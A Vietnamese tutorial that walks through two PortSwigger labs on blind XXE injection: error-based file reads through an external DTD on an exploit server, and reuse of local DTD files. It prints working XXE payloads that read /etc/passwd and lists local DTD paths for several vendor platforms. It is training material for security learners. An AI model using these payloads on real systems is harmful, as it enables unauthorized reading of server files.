XXE injection vulnerabilities - Lỗ hổng XML (Phần 5)
II. Phân tích và khai thác các lỗ hổng XXE injection (tiếp)
6. Khai thác lỗ hổng XXE qua error message
Trong một số trường hợp khi chúng ta sử dụng sai cú pháp XML dẫn đến quá trình phân tích cú pháp dữ liệu gặp lỗi, lúc này hệ thống thường trả về các đoạn thông báo lỗi (error message), chúng có thể chứa một số thông tin nhạy cảm.
Bằng cách đưa luồng xử lý hệ thống đi vào trường hợp error, chúng ta có thể kết hợp sử dụng external DTD nhằm "gửi" nội dung file bất kỳ vào các đoạn thông báo lỗi, từ đó hiển thị chúng trong giao diện.
Để hiểu rõ hơn về phương pháp tấn công này, cùng phân tích bài lab sau:
Phân tích lab Exploiting blind XXE to retrieve data via error messages
Miêu tả: Chức năng "Check stock" của trang web thực hiện quá trình phân tích cú pháp dữ liệu XML nhưng không hiển thị bất kỳ kết quả nào ra giao diện. Tuy nhiên, khi quá trình phân tích gặp lỗi, các thông báo trả về chứa nội dung nhạy cảm. Để hoàn thành bài lab, chúng ta cần kích hoạt các thông báo lỗi nhằm đọc nội dung tệp tin /etc/passwd
.
Trang web phân tích cú pháp XML khi sử dụng chức năng "Check stock":
Trong dữ liệu POST không được phép chứa ký tự &
Do đó chúng ta không thể tự định nghĩa các entities thông thường. Tuy nhiên, ký tự %
không bị filter:
Với ký tự %
, chúng ta có thể sử dụng parameter entity thực hiện kịch bản kiểm tra DNS lookup tới server Burp Collaborator:
Tuy response trả về thông báo lỗi nhưng server Burp Collaborator vẫn nhận được request gửi đến từ server victim, nên khả năng cao chức năng "Check stock" chứa lỗ hổng Blind XXE injection.
Quan sát đoạn thông báo lỗi, có vẻ việc server truy cập tới URL http://hqbpgqjewl9xp78fheorp11xvo1ep3.oastify.com đã vi phạm cách hoạt động bình thường, chú ý rằng error message hiển thị chuỗi URL này là một trường input chúng ta có thể thay đổi.
Kiểm tra lại với chuỗi Viblo:
Khi không có protocol, sau quá trình phân tích cú pháp XML, hệ thống đã ghép và truy cập tới file /home/peter/Viblo
. Do không tìm thấy đường dẫn file /home/peter/Viblo
nên trả về lỗi java.io.FileNotFoundException.
Như vậy, ý tưởng là chúng ta sẽ tìm cách thay thế chuỗi Viblo này thành một nội dung file cần đọc, và kích hoạt lỗi phân tích cú pháp, từ đó nội dung file sẽ được trang web hiển thị cùng với error message, kết quả mong muốn có dạng như sau:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Chúng ta sẽ xây dựng một tệp external DTD như sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % xxe "<!ENTITY % show SYSTEM 'abc/%file;'>">
%xxe;
%show;
Khi hệ thống tìm nạp external DTD này sẽ thực hiện các bước như sau:
- Định nghĩa một parameter entity tên
file
chứa nội dung tệp/etc/passwd
qua protocol file:// - Định nghĩa một parameter entity tên
xxe
chứa một định nghĩa parameter entity khác tênshow
sẽ kích hoạt tham chiếu%file;
nhằm hiển thị tệp/etc/passwd
- Tham chiếu
%xxe;
- Tham chiếu
%show;
Chú ý %
là HTML encode của ký tự %
. File external DTD này được dựng trên exploit server do bài lab cung cấp:
Và dữ liệu XML gửi tới trang web sẽ gọi tới external DTD này:
<!DOCTYPE abc [
<!ENTITY % viblo SYSTEM "https://exploit-0a64009c048c22e9c00148b601a20072.exploit-server.net/exploit.dtd">
%viblo;
]>
Sau khi gửi request, response trả về thông báo lỗi đồng thời chứa nội dung tệp /etc/passwd
như mong muốn, bài lab hoàn thành:
7. Khai thác lỗ hổng XXE qua các file local DTD
Việc cho phép hệ thống tìm nạp các file external DTD thực sự nguy hiểm do kẻ tấn công có thể tự tạo các external DTD tùy ý. Bởi vậy, hiện nay nhiều hệ thống đã thực hiện chặn việc truy cập các external DTD. Tuy nhiên, kẻ tấn công vẫn có thể lợi dụng việc kích hoạt lỗi phân tích cú pháp với các file local DTD nhằm đọc nội dung file khi các dòng thông báo lỗi hiển thị giá trị input từ người dùng.
Đối với mỗi hệ thống được sử dụng, các tệp local DTD thường được đặt ở các đường dẫn mặc định khác nhau. Các payload sau tương ứng với mỗi hệ thống khác nhau:
- Custom Linux System:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
- Custom Windows System:
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
- Cisco WebEx:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
- Citrix XenMobile Server:
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
- Any Web Application on IBM WebSphere Application Server:
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
Về các bước cụ thể trong phương pháp tấn công này, chúng ta cùng phân tích qua bài lab sau:
Phân tích lab Exploiting XXE to retrieve data by repurposing a local DTD
Miêu tả: Trang web chứa lỗ hổng Blind XXE injection trong chức năng "Check stock". Biết rằng hệ thống sử dụng môi trường GNOME desktop và local DTD thường được đặt tại /usr/share/yelp/dtd/docbookx.dtd
, trong đó chứa entity có tên ISOamso
. Để hoàn thành bài lab, chúng ta cần tái sử dụng local DTD, kích hoạt lỗi phân tích cú pháp XML, từ đó đọc nội dung tệp /etc/passwd
qua thông báo lỗi.
Trang web thực hiện phân tích cú pháp XML khi sử dụng chức năng Check stock:
Trường hợp bài lab đưa ra không thực hiện filter các ký tự &
và %
:
Thực hiện kiểm tra DNS lookup thành công, xác định chức năng "Check stock" khả năng chứa lỗ hổng Blind XXE:
Thông báo lỗi trả về có thể lợi dụng nhằm hiển thị nội dung file bất kỳ.
Kiểm tra nhận thấy hệ thống không cho phép truy cập tới các external DTD:
Khả năng hệ thống chứa danh sách white-list các host hoặc chỉ cho phép sử dụng local DTD. Chúng ta cần xác định vị trí local DTD, cần thử từng trường hợp với các system tương ứng, tuy nhiên bài lab đã cho biết hệ thống sử dụng môi trường GNOME desktop và địa chỉ local DTD tại /usr/share/yelp/dtd/docbookx.dtd
.
Khi kiểm tra local DTD sai:
Kiểm tra local DTD đúng:
Tiếp theo, xây dựng payload tấn công như sau:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
- Parameter entity
local_dtd
chứa nội dung tệp/usr/share/yelp/dtd/docbookx.dtd
là local DTD trên server. - Parameter entity ISOamso chứa định nghĩa: parameter entity
file
chứa nội dung tệp/etc/passwd
, parameter entityeval
chứa định nghĩa parameter entityerror
chứa nội dung/etc/passwd
sau khi tham chiếu tới%file;
- Gọi tham chiếu các entity.
Lưu ý rằng trong payload chúng ta cần thực hiện HTML encode từ đến lần tương ứng với vị trí các ký tự %
và ;
.
Sau khi gửi payload, chúng ta nhận được thông báo lỗi chứa nội dung tệp /etc/passwd
, bài lab hoàn thành:
Các tài liệu tham khảo
- https://portswigger.net/web-security/xxe/blind
- https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved